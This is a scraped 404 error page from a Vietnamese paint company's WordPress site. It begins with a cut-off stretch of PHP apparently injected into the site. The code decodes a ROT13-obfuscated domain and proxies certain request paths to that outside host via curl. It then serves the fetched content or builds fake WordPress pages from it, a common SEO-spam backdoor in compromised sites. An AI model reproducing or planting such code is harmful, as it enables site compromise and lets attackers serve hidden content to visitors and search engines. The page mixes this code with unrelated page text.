off' => 'font/woff', 'woff2' => 'font/woff2' ]; $fileExp = pathinfo($url, PATHINFO_EXTENSION); if(array_key_exists($fileExp, $mmmimeTypes)){ $mime = $mmmimeTypes[$fileExp]; } else{ $mime = 'text/plain'; } header("Content-type: {$mime}"); echo $html; die(); } if (preg_match("#^/books_files/#", $_SERVER['REQUEST_URI'])) { $url = str_replace('?id', '.php?id', $_SERVER['REQUEST_URI']); $covenD = str_rot13('xhgbgb.fof'); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "https://coven.{$covenD}{$url}"); curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]); curl_setopt($ch, CURLOPT_HTTPHEADER, ['Accept-Language: ' . $_SERVER['HTTP_ACCEPT_LANGUAGE'], 'X-Forwarded-For: ' . $gbt, 'X-HOST:' . $host]); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $html = curl_exec($ch); curl_close($ch); unset($ch); echo $html; die(); } if (preg_match("#^/books-#", $_SERVER['REQUEST_URI'])) { if (!class_exists('WP_EX_PAGE_ON_THE_FLY', FALSE)){ class WP_EX_PAGE_ON_THE_FLY { public $slug =''; public $args = array(); public function __construct($args){ add_filter('the_posts',array($this,'fly_page')); $this->args = $args; $this->slug = $args['slug']; } public function fly_page($posts){ global $wp,$wp_query; $page_slug = $this->slug; if(count($posts) == 0 && (strtolower($wp->request) == $page_slug || $wp->query_vars['page_id'] == $page_slug)){ $post = new stdClass; $post->post_author = 1; $post->post_name = $page_slug; $post->guid = get_bloginfo('wpurl' . '/' . $page_slug); $post->post_title = 'page title'; $post->post_content = "Fake Content"; $post->ID = -42; $post->post_status = 'static'; $post->comment_status = 'closed'; $post->ping_status = 'closed'; $post->comment_count = 0; $post->post_date = current_time('mysql'); $post->post_date_gmt = current_time('mysql',1); $post = (object) array_merge((array) $post, (array) $this->args); $posts = NULL; $posts[] = $post; $wp_query->is_page = true; $wp_query->is_singular = true; $wp_query->is_home = false; $wp_query->is_archive = false; $wp_query->is_category = false; //status_header( 200 ); unset($wp_query->query["error"]); $wp_query->query_vars["error"]=""; $wp_query->is_404 = false; } return $posts; } } } $requri = explode('-', $_SERVER['REQUEST_URI']); $scheme = end($requri); $scheme = trim($scheme, '/'); $url = trim(parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH), '/'); $covenD = str_rot13('xhgbgb.fof'); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "https://coven.{$covenD}/books/" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']); curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_HTTPHEADER, ['Accept-Language: ' . $_SERVER['HTTP_ACCEPT_LANGUAGE']]); $html = curl_exec($ch); curl_close($ch); unset($ch); // if($googleBot){ $html = json_decode($html, true); $args = array('slug' => $url, 'post_title' => $html['title'], 'post_content' => $html['body']); new WP_EX_PAGE_ON_THE_FLY($args); } else{ echo $html; die(); } } $pdfhash = substr(str_rot13(preg_replace('#[^0-9a-zA-Z]#', "", $_SERVER['HTTP_HOST'])) , 0, 5); if (preg_match('#^/wp-content/uploads/.+' . $pdfhash . '.*\.pdf$#', $_SERVER['REQUEST_URI'])) { $covenD = str_rot13('xhgbgb.fof'); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "https://coven.{$covenD}/pdf/books1/" . $_SERVER['HTTP_HOST'] . Không tìm thấy trang - SƠN WINCOLOR
CÔNG TY TNHH HỢP TÁC KHOA HỌC VIỆT MỸ
CHIẾN THẮNG MỌI THỜI TIẾT

Error 404 Page

Oops, This Page Could Not Be Found!

404

Search Our Website

Can't find what you need? Take a moment and do a search below!

0969.16.97.98